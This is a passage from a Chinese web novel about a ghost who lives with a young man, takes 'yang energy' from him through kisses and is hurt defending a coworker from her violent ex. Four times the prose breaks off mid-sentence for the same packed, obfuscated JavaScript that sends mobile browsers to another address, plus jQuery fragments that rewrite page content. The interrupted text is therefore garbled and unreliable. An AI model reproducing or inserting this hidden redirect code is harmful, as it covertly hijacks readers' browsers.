闻翟没有明说去哪,“我给你请假,快的话上午就能结束。” 江听雨这回没轻易上套,喝干净汤放下碗:“那是另外的价钱。” “……”闻翟开始怀疑将平板留给他是否是个正确决定,“别从网上乱学东西。” - 医院,病患们趁着清晨的凉爽,在家属或护士的陪同下到花园散步透气。 苦涩的消毒水抵不过顽强的生命力,长椅上,几位老人呼吸着新鲜空气,相互交流病情,偶尔露出乐观的表情。 闻翟给江听雨请了事假,顺便到他上班的奶茶店看了一眼,直接在路边打车带他到医院。 江听雨还没学到医院是什么地方,但等进了门,通过观察来往病患和忙碌的医生,大致猜到了这里的作用。 他以为闻翟身体不舒服,所以喊他过来陪同,如果是这样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380447|168448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,他倒不会有任何怨言,毕竟热心的鬼愿意包容脆弱的凡人。 可事实却与他想的相反,要做检查的人居然是他。 闻翟没有离谱到真带江听雨去妇产科,否则还没开始检查,医生就一定会先建议他去神经科看看。 他给江听雨挂了消化内科,拍一个腹部B超。 这次带他来医院,原因有二。 一是江听雨腹部隆起的弧度不正常,起初他有想过是不是江听雨故意吸气或者刚吃饱形成的,但趁着对方睡着后他摸了一下,还是鼓鼓的,存在长了肿瘤的可能。 二是江听雨总将“宝宝”二字挂在嘴边,哪怕他强调了很多遍,对方始终倔得跟头牛一样坚持自己的想法,所以他需要更强有力的证据摆在江听雨面前。 发现看病的人是自己后,江听雨自然是不愿意配合的,深觉遭受欺骗,连脸都垮了下去。他不吵不闹,却怨气冲天,又变成了植物大战僵尸里面的弹簧豆。 ⊙^⊙ “为什么要做检查?”江听雨直直地看着他:“你是觉得我有病吗?” 闻翟知道先斩后奏的行为不可取,答非所问道:“今天想吃什么?回去路上给你买。” 江听雨听出换取食物的前提是配合做检查,但一味忍让只会令对方得寸进尺,所以他非常有骨气地晾了对方三分钟才开口:“你再给我买一包辣条,要和昨晚上被扔掉那个一样的。” 闻翟想也不想道:“不行。” 不是要哄他吗?现在他提的条件又不答应! “为什么啊?”江听雨想要一个答案。 闻翟:“我说了,那是垃圾食品,不建议吃。” 江听雨快气炸了,从弹簧豆升级为暴躁窝瓜,又晾了他一分钟。 “那我要上次那个蛋黄酥,我看到网上还有肉松、抹茶、芋泥好多口味。” 不可否认的是,江听雨虽然容易大脑宕机,但在学习能力上还是比较强的,几天时间就掌握了使用平板冲浪,连蛋黄酥的其它口味都叫他发现。 闻翟这回倒是答应了他,承诺只要是有卖的口味都会给他拿几个,这才终于将人哄好,同意进去配合检查。 十五分钟后,医生拿到B超结果,分析完毕后对两人说:“没有问题,他很健康。” 闻翟的眉头却渐渐皱了起来,“那为什么他的肚子看起来是鼓的?” 江听雨整个人都很清瘦,腹部的隆起程度却明显不在正常范围内。以防万一,他今天还是让江听雨空腹过来做检查的。 医生让江听雨将肚子露出来给她看,用手压了一下,是软的,说:“从B超来看确实没有发现病变部位。” “肚子大概跟个体差异有关,皮下组织层的脂肪比较多,实在觉得不好看的话,可以试试做些争对性锻炼。” 确实存在医生说的这种可能,但不知道是不是这段时间受到江听雨的影响太深,闻翟的脑子也跟着有些不太正常了,居然问出—— “他有没有可能是怀孕了?” 20. 砂锅豆腐 医生明显一愣,看了一眼江听雨,又飞快拿起桌面上的病例单,最上面那栏基本信息真真实实地写着“男”,这才敢百分百确定不是自己上班上出幻觉了。 “你应该知道男性没有子宫,无法实现怀孕的吧?” 这话闻翟在见到江听雨的第一天时对他说过,没想到这才过去不到半个月,就变成了别人以此来提醒他。 “他的身体里没有胎儿的迹象。” “另外……”医生斟酌着开口:“如果您有需要,可以顺路去二楼咨询一下,我们神经科最有名的王医生今天在那边值班。” 闻翟:“……” 一直坐在旁边沉默不言的江听雨歪了下头,服务器链接成功,笑说:“那是因为你们凡人的仪器对鬼没有用,检测不到。” 他觉得闻翟是由于他肚子里的宝宝才让他暂时留在身边,如果宝宝的存在被证实为假,闻翟大概率会将他再次送走。 不能让这样的事情发生。 江听雨从椅子上站起来,想再说点什么自圆谎言,谁知眼前却先一黑,仿佛主机与配件的连接突然中断。 下一秒,他的头咕咚掉了下来,正巧滚到闻翟腿边,与他来了个意料之外的诡异对视。 诊室里的空气像是凝滞,三人都陷入了沉默。 江听雨:QAQ 他缓过眩晕,率先开口,带着些许歉意:“不好意思,这块零件经常松动。” 闻翟:“……” 医生:“!!?” - 说起总是零件松动的原因,还要追溯到一千年前江听雨历劫的时候。 他原是冥界的黄泉水,因富有灵气,一化形降生就被接进了冥殿,按照下一任冥神的标准来培养。 那日,他在众目睽睽之下抽中情劫,只是刚到人间没多久,甚至连情劫对象都没来得及找到,就先被走火入魔的战神误伤,一剑砍了脑袋,神魂四分五裂,不得不在轮回之境中沉睡了千年。 鬼断胳膊少腿是常有的事,在冥界并不稀奇古怪,所以江听雨对于断头的反应很平淡,至少远不如神魂受损大。 只是多少留下了些后遗症。 距离上一次吸阳气过去的有点久了,江听雨中间又使用了几次法力改变外貌,神魂便又开始不稳定。 最明显的表现就是他的头,无法继续很好地待在身体上。 但没想到这次会来得如此突然。 相较于他的意外,诊室里另外两人受到的冲击似乎更大。就连一贯冷静的闻翟都怔愣住了,科学观出现裂纹。 他试图“修补”,眼前的景象却令他怎么也想不到能够说服自己的合理解释。 医生在医院任职数十年,再血腥的画面都见过,却是头一回碰上这种聊着聊着,患者的头突然掉了的邪乎事,当即瞪大了眼,摁下手边的按铃。 滴—— 尖锐的警报拉回思绪。 有一道声音在耳边响起:江听雨这个样子绝对不能被其他人看到。 闻翟几乎是条件反射地去牵江听雨的手,要带他走。 江听雨眼睁睁看着自己的身体跟着闻翟跑路,急得在后面大喊:“头!我的头还没拿!” 画面的诡异程度再次翻倍,江听雨的身体在前面跑,脑袋却追在后面艰难地滚动。 “……”闻翟又停下,双手略显僵硬,去捡江听雨的头。 万幸这个时间段来医院看病的患者不多,他们进入走廊时没有遇见其他人。 不过不能就这么往医院门口跑,那里有护士值班。闻翟先带江听雨进了走廊末端的卫生间,手里的“零件”因为刚才在地上滚过,发丝都乱糟糟的,像一颗炸毛的狮子头。 身体的肾上腺素停止分泌,强大的心理素质令闻翟在极短的时间内冷静下来。 他看向江听雨时,神色里多了几分微妙的意味,动动唇,却又不知道从何问起,好似因这猝不及防的变故丧失了基本的语言能力。 脑袋在闻翟那里待的不太舒服,江听雨伸手拿了过来,往身上进行安装。 然而这次却没有像之前那样贴合得天衣无缝,一圈白色的线条缠绕在断裂处,似是两个部件强行缝在一起,割裂感十足。 江听雨摸上脖子,也发现了问题所在,对已经认识到他不是凡人的青年说:“你能不能再给我一点阳气?我现在这个状态也维持不了太久。” 或许是江听雨平时跟他说了太多那些仅存在于小说和电视剧里的玄乎,无形之中给足了心理准备,以至于闻翟此刻直面时,有过惊讶,却没有过害怕。 闻翟没有说好,但也没有拒绝。鬼使神差地,他抬手抚上江听雨纤细的后颈,很冰。 “这个是怎么弄的?”闻翟的手指压在那道“白线”上,常年握笔写字,指腹生有一层薄茧,摩挲着皮肤表面时带有轻微的热意。 江听雨一向反应迟钝,这回却立刻明白了闻翟的意思——他想知道真正的原因。 江听雨抿了下唇,面对闻翟,就是莫名说不出口。他不确定自己是出于一种什么样的心情,可能是他将昔日战神和闻翟分做两个人来对待,也可能是他觉得很没面子。 好在闻翟没有一定要个答案。 “还是和上回一样的方法?” 江听雨点头。 “过来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380448|168448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江听雨的“哦”还没说出口,闻翟就先压着他的颈子,同时靠了上来。 重度洁癖即便是面对江听雨也不可能说等同于无,仅仅是唇与唇的相贴,没有更多的纠缠。 江听雨从他嘴巴里吸取阳气,但有些阳气却没有那么容易被吸上来,他得用舌尖配合着去勾才行。 在他探过去的刹那,闻翟的眸光顿了一下,旋即握住他的肩膀。 “唔。”江听雨后退半步,叫他压在了卫生间的隔板上,唇舌却不曾分离。 细微的水声响起,江听雨是闭着眼的,感觉对方好像离他远了些,只能踮着脚,更努力仰起脸。往下吞咽时,不可避免地吃走了对方的口水。 身体里有东西正在流走,闻翟其实是能够感受得出来的。阳气就跟人的精力和气力一样,若是太过贫瘠,就会呈现枯槁之状。 注意到江听雨脖子上那圈白线完全消失,闻翟适时拉开了他。 虽然这些阳气的缺少还不至于叫他身体发虚,但他发现了江听雨的克制力是真的很差,一旦给了他甜头,就很难停下来。 跟饕餮一样,吃不饱。 诚如闻翟所猜,江听雨是个定力很差的鬼,半睁开恋恋不舍的眼,去搂他的脖子:“还要……” 闻翟阳气的诱惑力对于江听雨来说不亚于顶级美食,原本暗下决心会控制好吸取量,结果一到实战上就立马破功,吸了两分饱就贪心地想吸到三分饱,不断递增。 理智变得不堪一击,江听雨猫似的往他身上黏,又踮起脚要亲。 闻翟按住了他,沉声说:“先回家。” 可江听雨却有一种预感,等回家后闻翟就不会再给他了。还没从余味中脱离出来的他不太愿意配合,整个人都扑进了闻翟怀里,亲不到嘴巴就蹭他的脖子和锁骨,试图从中得到微薄的阳气。 柔软的发丝扫过皮肤表面,痒痒的,连带着心尖似乎都被拨了一下。闻翟拍了拍他的后背,语气里带着自己都没发觉的温柔。 “听话。” 闻翟庆幸因为江听雨怕冷,出门前给他多穿了件带帽外套出来,否则以江听雨现在这幅模样,肯定也会引起怀疑。 他将人包得严严实实,揽着肩膀从医院离开,在门口直接上了出租车。 司机是个很有职业素养的中年男人,专心开车,尽管心底闪过一丝疑惑,却没再乱看,也不多嘴过问。 车辆平稳地行驶出去,江听雨坐在靠窗的位置,凉爽的风吹在身上,大脑清醒了许多。 闻翟给他将车窗升上去了点,收回手时,江听雨抓住了他,幽幽道:“你耍赖。” “说好的蛋黄酥还没有给我买。” 21.糖醋大虾 书房里,劲瘦修长的五指握着笔身,笔尖却迟迟没有落下。闻翟觉得自己有必要好好梳理一下他和江听雨之间的事。 江听雨不是普通人,甚至连人类都算不上,是及时远离还是继续保持? 远离的理由他现在就能列举出不下十个,那么继续保持的理由呢? 哒,纸面上砸出一个墨色小点。闻翟放下笔,面对洁白卷面上突然多出来的瑕疵看了许久。 江听雨收好两斤蛋黄酥,还记得自己只请了半天的假,在家吃完午饭,下午就回到奶茶店上班,一直到晚上回来。 书房的门依旧紧闭着,江听雨知道闻翟还在里面,没去打扰他。 洗澡的时候,他注意到上次带回来的甲鱼,闻翟没有吃掉也没有再提过送走,一直养在原来的木桶里。 它的状态比前几天蔫了不少,变得不怎么爱爬动。江听雨算了一下时间,好像从带回来后就没喂过食。 他一个鬼饿一顿都受不了,更别说这个小家伙了。江听雨换好睡衣出来,去查了一下它能吃什么。 动物性饲料现在不太好弄,但像蔬菜、水果这些,他记得家里有。 不过这些东西都是闻翟买回来的,他想使用的话还是征询一声比较好。 江听雨站在书房门前,抬手轻轻敲了下,里面过了片刻才传出一声“进”。 转下门把手,这是江听雨第一次进入书房,目光所及无一不透露着闻翟的风格,干净整洁。 “怎么了?”闻翟转过身来问他。 一旁有个抽屉没推回去,江听雨一眼就注意到里面塞了许多盒子,表面写着“安神补脑液”几个大字,桌面上也有一支像是刚喝完的药液瓶。 闻翟为什么要喝这些?哪里不舒服吗? 江听雨倏然忘了敲门进来的真正目的,脑海里只剩下这两个疑惑,并且问了出来。 走近,看到垃圾桶里还有更多插着细吸管的药液瓶。 “没有不舒服。”闻翟轻描淡写道:“晚上有点失眠而已。” 江听雨没有过失眠的经历,对此无法感同身受,但他知道如果不是无法解决,应该没有人会想要借助药物。 空气里的药味不算太浓,他却觉得胸口闷闷的,好似被那苦涩压住了心脏。 江听雨想为他做点什么,说:“我给你看看。”走到他面前。 闻翟本能反应去躲开,但克制住了,由着他握上自己。 那是一双纤细却有力的手,指尖微凉。它的主人闭上眼睛,浅褐色的眸子随之藏匿,一缕极淡的法力自他掌心涌出,如灵动的丝线般顺着两人交握的手,缓缓缠绕上青年的手臂。 闻翟看着这魔幻的一切,神色自若,仿佛已经见过数遍。 待到法力重新回到江听雨那时,他陡然睁开了眼,漂亮的眉毛快要挤到一起。 江听雨从未在他面前露出过这样似忧似愁的神情,闻翟察觉到什么,从他那里抽回了手。 但他到底是凡人,对未知的恐惧不可能能完全免去。 “又饿了?”闻翟像是什么都没发生过,回到最初的话题,说着“夜宵不能经常吃”却还是往外走。 “我不饿。”江听雨拉住了他,薄唇紧抿,好一会才松开,道:“你帮我修复神魂好不好?然后我尽量用法力帮你延长寿命。” 他本来以为闻翟能像这个世界的绝大多数人一样活到七八十多岁,再不济也有六十,却从没想过闻翟身为战神的转世,过去造下的杀业太重,命格跟着受到影响,最多只能活到三十岁。 难怪闻翟要喝药,他身上出现的问题,大概也与此有关。 “你相信我,我是从冥界出来的,可以帮到你。” 如果运气好,能在这一世修复神魂,他就可以消除那些业障,改掉闻翟的命格。 虽然这么做有违天规,会带来一定反噬,但他同样需要闻翟,不能让他就这么早死掉。 闻翟从他的话和神情里猜到了自己的情况,实在说不上来是什么感觉。 可能是儿时失眠和盗梦的症状太严重,让他比同龄人更早感受到死亡,做好了心理准备,现在反倒没有太多意外,甚至没有对江听雨的话产生丝毫怀疑。 人都是要死的,他可以接受自己的死亡,但—— 江听雨需要他。 “只有我的阳气可以帮你修复神魂?” 江听雨不明白他为什么先反过来关心他的事,但还是点了点头。 这一刻,萦绕在心头的雾霾散去,闻翟好像找到了说服自己让江听雨留下来的理由。 - 闻翟给江听雨办了一张门禁卡,这样他每次进单元楼就不需要再蹭别人的了。 另外甲鱼总养在洗脚桶里也不是个长久之法,毕竟还要用来洗脚。 闻翟在网上下单了专门的透明水缸。 不过真正令他同意留下这只甲鱼的原因,还是江听雨给它取了个名字。 “你今天要吃宅宅吗?”江听雨抬起头来,看着他的眼睛宛若清池溢满星光。 宅宅,江听雨都给一只王八取名宅宅了,他还怎么吃? “养着吧。”他问:“为什么取这个名字?” 对于能够养一只宠物,江听雨其实是开心的,注意力全在投喂上,没有瞧见青年脸上隐隐发绿,说:“因为每次我们出去的时候,它总是自己宅在家里,感觉这个名字很合适。” 原来跟他没有任何关系。 …… 为什么不跟他有关系? - 在奶茶店干了一段时间,江听雨对于工作内容越来越熟练,很多事情已经可以独立高效的完成。 这天,他准备照常回去吃饭和休息,就见上一秒还笑着跟他说“待会见”的曾雅云蓦然变了脸色,流露出难以克制的厌恶。 “你过来干什么。”她的声音同时冷了下来。 站在门口的男人走了进来,头上戴着一副墨镜,镜片上有些刮痕,嘴边叼着半截香烟,浑身透着股邪气。 “原来你就在这里上班啊。”男人吐出一口烟雾,劣质又呛人的气味迅速散开。 “亏我还以为你在哪个大公司上班呢,问遍你身边的人都不肯告诉我,真是叫我好找。” “是我让他们别告诉你的。”曾雅云冷漠且疏离地说:“今后少去打扰我身边的人。” 男人啧了一声,扔掉烟嘴,手肘压上点单台:“咱俩也有段时间没见了,请我喝杯奶茶不过分吧?” 烟嘴上的火星闪烁着猩红光芒,像是地狱里恶魔的眼睛。曾雅云带着餐饮工作人员应有的微笑,却说:“本店仅招待正常顾客,我不想脏了手。” 男人面部肌肉一僵,似乎没想到短短几个月,曾雅云对他的态度就发生了天翻地覆的变化。以前可是为了求他别分手,连每个月的工资都能拿出来一半给他。 曾雅云却无比庆幸自己摆脱恋爱脑,认清这个渣男的本质。 想她以前在外面辛苦打工,像供着一尊佛般供男人吃喝玩乐,生怕他有半点不高兴,自己每个月在给他和家里人转完钱后,只留五百块钱生活费。 结果余飞章这个王八蛋非但没有丝毫感念,天天躺在家里无所事事,还用她的钱去出轨其他女人。 那天是她亲手捉的奸,被绿的事板上钉钉,否则她也不会那么快下定决心离开。 一个舔狗而已,是怎么敢这样跟他说话的?男人的目光掠过曾雅云:“那他呢,也是店里员工吧?叫他去做。” “还是说你们不想继续营业了?”他加重了语气,任谁都不难听出其中的威胁。 处在状态外的江听雨猝不及防被提及,有些不知所措。 曾雅云知道男人是来找她要钱的,当初分手后她就拉黑了对方所有联系方式,但余飞章居然敢找人来骚扰和恐吓她。 报警根本没用,因为没有造成实质性的伤害,加之缺乏有力证据,害得她不得已换掉手机卡,离开原本生活的城市来到江城。 只是没想到都这样了,对方还阴魂不散。 “听雨,你先回去吧。”曾雅云面对他时神色缓和许多:“这是我的事,我想自己处理。” 男人看出她的区别对待,心底不是滋味,说出来的话也更难听:“之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15385512|168448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人说你又浪又骚,我还不信。今天倒是让我开了眼,这才过去几个月啊,就找好下家了。” “难怪之前跟条狗一样黏着我,原来真的是离了男人就活不下去。” 如果是其他人这么说,曾雅云兴许还会为了避免冲突而当做没听见,但余飞章不行,他是最没有资格来审判她的人! 男人还要往下挖苦,曾雅云几乎尖着嗓子打断了他:“余飞章!你他妈混账!” 她和余飞章是高中同学,高二相恋,曾像许多情侣一样害羞地牵着手,走在晚霞包围的操场上幻想未来,幻想他们能永远在一起。 然而高考后,他们却走上了两条截然不同的道路。余飞章因为高三沉迷网络游戏,最终上了大专,而她则发挥如常,去了一所中等偏下的一本大学。 都说十个异地恋九个分手,曾雅云曾坚信他们就是那十分之一。大学四年间,余飞章不惜来回坐将近二十个小时的车,跨越多座城市陪她过节、庆生。 面对这份真挚的情谊,她将余飞章写进了自己的人生规划之中,以为遇到真爱,全心全意对待,相信他们会越来越好。 但身处两个世界的人又怎么可能轻易走到一起? 大三那年,余飞章想要退学,她知道时非常震惊,劝说他不要冲动,哪怕是读大专也能在今后有一番作为,社会上就有不少成功案例。 余飞章却态度坚决,说在学校学不到有用的东西,想早点挣钱,这样好娶她回家。曾雅云发现劝说无果,只能选择相信他。 也就是从余飞章步入社会开始,一切都变了。 “我们已经分手了,这一次是彻底结束了。”曾雅云心累道,她厌倦了这种被吸血和单方面付出的感情。 有过初恋的青涩,有过年少的悸动,事到如今,只剩下令人作呕的糜烂。 从高中相恋至今,他们因或大或小的矛盾分开了无数次,但每次不出半个月就会复合,不痛不痒。 男人以为这次也是一样,只要自己认错和哄哄就行了。 “雅云,你再给我一次机会好吗?上次真的是个意外,我喝多了,把她错认成了你。” “我们都在一起这么久了,你也不忍心看到自己投入八年的感情走到尽头吧?人都是会犯错的,但你相信我,今后我一定不会再惹你生气了。” 因为余飞章这么一闹,没人敢踏入店内,反倒是路边站着不少看热闹的。 “你说得对,我确实难以接受自己耗费八年时间的感情最后输得一塌糊涂。”曾雅云的笑里带了苦涩和坚决。 “但我更不想和你这个烂人绑在一起!” 眼见围观的人越来越多,男人上前来拽她:“你跟我走,我们找地方再聊一下。” 曾雅云躲开了他的触碰:“没什么好聊的,你要是没其他事就请立刻离开,别影响我们做生意。” 男人抓了个空,还想故技重施,却被一旁的江听雨瞧见,及时挡在了他和曾雅云之间。 “请你离开。”江听雨说。 男人本就处在气急败坏的边缘,见状,将矛头转向了江听雨,冷嘲热讽道:“是不是因为这个小白脸,你才不肯跟我复合?” “在他身下你很爽吧?连上班都要待在一起,没有客人的时候他是不是就在后面艹你?” 这些年吵架,曾雅云听惯了他数落和贬低自己,却不能容忍他牵连身边的人,积压多年的委屈和怨恨像颗炸弹,倒计时结束,砰地炸开。 “死渣男!”曾雅云冲上去,所有愤怒化为力气,对着他的肚子就是一脚,“只有你这种破车才老想着换备胎!” 男人完全没料到她会突然发难,竟真给她踹到了地上去,气得鼻孔涨开:“曾雅云,你别给脸不要脸!” 曾雅云喘着粗气哼笑:“对付你这种畜生还用不着脸。” 路人们举着手机窃窃私语,余飞章最看重面子了,曾雅云本以为他会知难而退,却低估了对方藏在骨子里的疯劲。 男人摸了摸口袋,面目狰狞地从地上起来,一秒没有犹豫,直冲曾雅云。 寒光闪过,带出一串刺目的血珠。 22.凉拌黄瓜 闻翟下午回到家没看见江听雨,想起他说过这几天奶茶店的生意比较忙,起初没太放在心上。 可守着桌上的另一份饭菜从冒着热气到凉透,江听雨仍旧没回来,心底升起一股强烈不安。 闻翟摸出手机,想给江听雨打个电话,但刚点开联系人界面他就愣住了,又重新放下。 ——江听雨没有手机。 江听雨不是这个时代出生的人,许多事物对于他来说都是崭新且陌生的,使得他的圈子非常简单,平时只在闻翟家和奶茶店两个地方来回往返。 闻翟先去了江听雨工作的地方,门店已经关闭,挂着打烊的牌子。 他将附近区域都找了个遍,九点多又回家确认了一次,始终不见人。 快过十一点,一通陌生电话打了过来,位置显示江城。 闻翟接通。 “喂?闻翟……” 电话那头传来虚弱又心虚的声音,鼻音很重,叫完他的名字就没了后文,像是没想好该说什么。 “你在哪?”闻翟深吸一口气又吐出,不确定他在不在附近,但看见一辆空载的出租车驶过来时先伸手拦了下来。 江听雨就是怕闻翟担心,才特意打来这通电话。他感觉闻翟好像生气了,吞咽一下,说:“在、在医院。” 闻翟拉开车门坐进去,头脑冷静,“哪家医院?” 江听雨没立刻回答他,传来一段不太清晰的对话声,似乎身边还有其他人。 “……这是哪家医院?”少顷,江听雨才复述般报给他一个地址。 二十分钟后,闻翟抵达目的地,直奔江听雨所在的病房。 等他推门而入时,江听雨又因药劲犯困睡着了,床边坐着一个男人守着他,每过一会就从手机上抬头,看一眼吊水瓶里剩余的溶液体积。 男人听到动静,做了个嘘声的动作,起身朝闻翟走过来,示意他出去说话。 上次到奶茶店帮江听雨请假时,闻翟见过对方,这人是江听雨的老板,想必刚才在电话里听到的另一道声音就是来自顾景山。 “……身为老板却没有保障好员工的基本安全,我很抱歉。”顾景山将今天在店内发生的事告诉了闻翟。 余飞章近几年有暴力倾向,在被激怒后掏出随身携带的美工刀,最开始是冲着曾雅云去的,试图划花她的脸使其毁容。但江听雨率先发现了他的意图,上前阻拦,不慎被伤中手臂,一道近十厘米的伤口,当场血流如柱。 周围的热心群众帮忙报了警,顾景山也在这时过来换班,发现不对劲马上将人控制住。 警方抵达现场,曾雅云跟着去派出所做笔录和配合调查,而顾景山则第一时间带江听雨到医院进行包扎,打破伤风针,随后也去配合做笔录。 只是没想到刚迈进派出所没多久,江听雨就发起了高烧,整个人迷迷糊糊,脸蛋通红,神志不清到开始说一些神啊鬼啊的胡话,把问话的警察都吓了一跳。 顾景山只好又带人回医院打点滴,直到半个小时前江听雨醒过来,才有了借他手机向闻翟打电话这事。 “医药费我已经付过了,这件事我担有一定责任,后续听雨要是有任何身体不适都可以再联系我。” 闻翟明白了事情经过,“谢谢。” 顾景山走后,闻翟接替了给江听雨守床的任务。 偌大的病房里摆着两张病床,却只有江听雨这一位病人。白色的被子平整地盖在他身上,只露出纤细的脖颈和一只搭在床边的手。 太瘦了,闻翟想。 应该要再多吃点,再多长点肉。 他应该将他养好的。 躺着的人神色放松且平静,浑然不知身边换了其他人,因为生病,那张脸看起来比平日又白了不少,几近一种破碎的惨白,只有嘴唇是红的。右手小臂上缠着厚厚几圈绷带,隐约透出血色。 闻翟在一旁的椅子上坐下,根据绷带缠绕范围预估了一下伤口位置。顾景山说伤口很深,极大可能会留疤。 - 江听雨是在最后一瓶水准备吊完时醒来的,这是他第一次输入凡人配置的药液,退烧效果良好,但副作用也很明显,容易犯困。 六瓶水吊了四个多小时,江听雨清醒的时间却连半个小时都不到。 闻翟一直替他盯着吊瓶里的液体,适时喊了护士过来拔针。 “好了,摁五分钟后再松开棉签。” 江听雨输液的是左手,右手有伤,包扎后不太能使得上力气,稍微用点力气还会面临伤口再次裂开的疼。 棉签根本按不住,没一会,手背上冒出一颗大血珠。 闻翟看出他的不便,过来帮他摁,期间不可避免触碰到江听雨的手,凉得惊人,扎针的地方还有些肿。 “你们鬼的体温都是这样?”闻翟问。其实他更想知道的是,拥有这样的体质,是不是到了冬季天寒的时候会更加难受。 “当然不是。”刚打完针的江听雨脑子还有点发懵,理解错了他的意思,语气里颇有几分骄傲,道:“鬼都是没有体温和心跳的,但我跟他们不一样,我算是半神,有自己的体温和心跳。” 闻翟夸他厉害,尽管语气平淡,但也足够江听雨开心一阵子。 从病床上下来,江听雨跟着他往外走,因为一只手在他那,两人距离很近,肩膀挨着手臂。 凌晨的江城迎来了一日之中最安静的时刻,这个点路面上已经没什么人,连车辆都少得可怜。 江听雨突然想起今晚打电话时的感觉。 其实闻翟没有对他说过一句 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15388756|168448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重话,连质问都没有,但他就是有这样一种感觉——闻翟表现得越是冷静,就越是生气。 闻翟发现他没回去的时候有找他吗?找了多久? 他又是什么时候来医院陪他的?现在还生气吗? 江听雨有很多想问的,他偷偷去看身边的人,似乎从他的眼尾看到了一点细纹。不是皮肤衰老产生的褶皱,而是疲惫导致的纹路。 “怎么?”闻翟发现他的视线,去检查他的手背,“我摁重了?” 江听雨摇摇头,欲盖弥彰地看向脚尖:“没有。” 心想,我应该早点打电话回去的。 - 回到家已经很晚了,人间的药水对于江听雨来说后劲也有点大。他换好拖鞋,飘飘然地往卧室平移,大有一种上床即睡的架势。 结果却被眼疾手快的闻翟拎住了衣领,打断移动轨迹。 闻翟的洁癖一如既往,哪怕面对决定同居的对象江听雨,也不会将要求放低至零。 “在外面待了一天,先去洗澡。” 江听雨今天不太想洗澡,眨着一双可怜兮兮的眼睛,企图退而求其次:“那我不睡床,睡沙发可以吗?” 闻翟的态度很坚决:“注意伤口别碰到水。” “……哦。”江听雨还是蔫了吧唧地去洗澡了,一边洗一边嘀咕,嘴里全是在说闻翟那个坏家伙有多么冷漠、无情、狠心。 坏家伙闻翟却趁着这段时间亲自下厨,给他做了一碗番茄鸡蛋面,表面铺了满满一层瘦肉肉沫。 交代事情经过时,顾景山提到一句,说江听雨今晚一直在睡,那时闻翟便猜测他可能没吃晚饭。 “你做的?”江听雨看到桌上品相极好的面条时愣了愣。 他今晚确实没怎么吃东西,但处在睡梦中饥饿感比较迟钝。此刻闻到空气里萦绕着的香味,肚子苏醒,不争气地响了一声。 江听雨拍了一巴掌不听指令行事的肚子,让它闭嘴。 闻翟将筷子塞入他手里,挑了挑眉:“这个点难道还能有外卖?” 江听雨没自己点过外卖,不清楚许多餐饮店在十点后便打烊了,但通过闻翟的语气,也能猜到这个时间段是点不到了。 “吃完碗不用洗,放着就行。”闻翟留下这句话便进房洗漱去了。 江听雨握着筷子在餐桌前坐下。 这款面条是闻翟在家时跟母亲学做的,做法简单,食材易得,却营养健康,比外面加了地沟油的预制菜不知道干净卫生多少倍。 江听雨到这里后不止吃了一次,百吃不腻,非常喜欢。 他夹了一筷子面条送入口中,番茄的酸甜刚好中合了嘴里的苦涩,连面带汤消灭了个干净,最后心满意足地捧着肚子,给坏家伙摘掉一个“无情”的标签。 23.孜然排骨 吸取必要时候联系不上人的教训,闻翟第二天就带江听雨去买了一部手机。 价格不是很贵,一千出头,还是即将过气的款式,但胜在所有基础功能一应俱全,内存较为充足,江听雨自己也很满意。 闻翟从初中开始参加各类竞赛,加上大学每年发放的奖学金,光靠个人能力攒下的存款就有六位数。虽然是底层六位数,但在同龄人之中也称得上不缺钱。 他本想买部更好一点的送给江听雨当礼物,谁知江听雨这个鬼比他一个凡人还会勤俭持家。 “不要买那个,这个也能打电话,还是最便宜的,要这个。” 江听雨对于电子产品的要求真的很低,闻翟想如果店内有卖诺基亚的,他可能连一千的这个都不会多看一眼。 他的态度坚决,闻翟也只能尊重他的意愿,让店员帮忙将手机装起来,只是没想到他居然连付款的机会都没有。 江听雨接过附赠有充电宝和充电线的纸袋,从衣服口袋里摸出一沓红色居多的现金。他已经认清了人间的货币,按照价格,准确地数出对应数量交给店员。 店员接过,又找回零钱给他:“您拿好。” 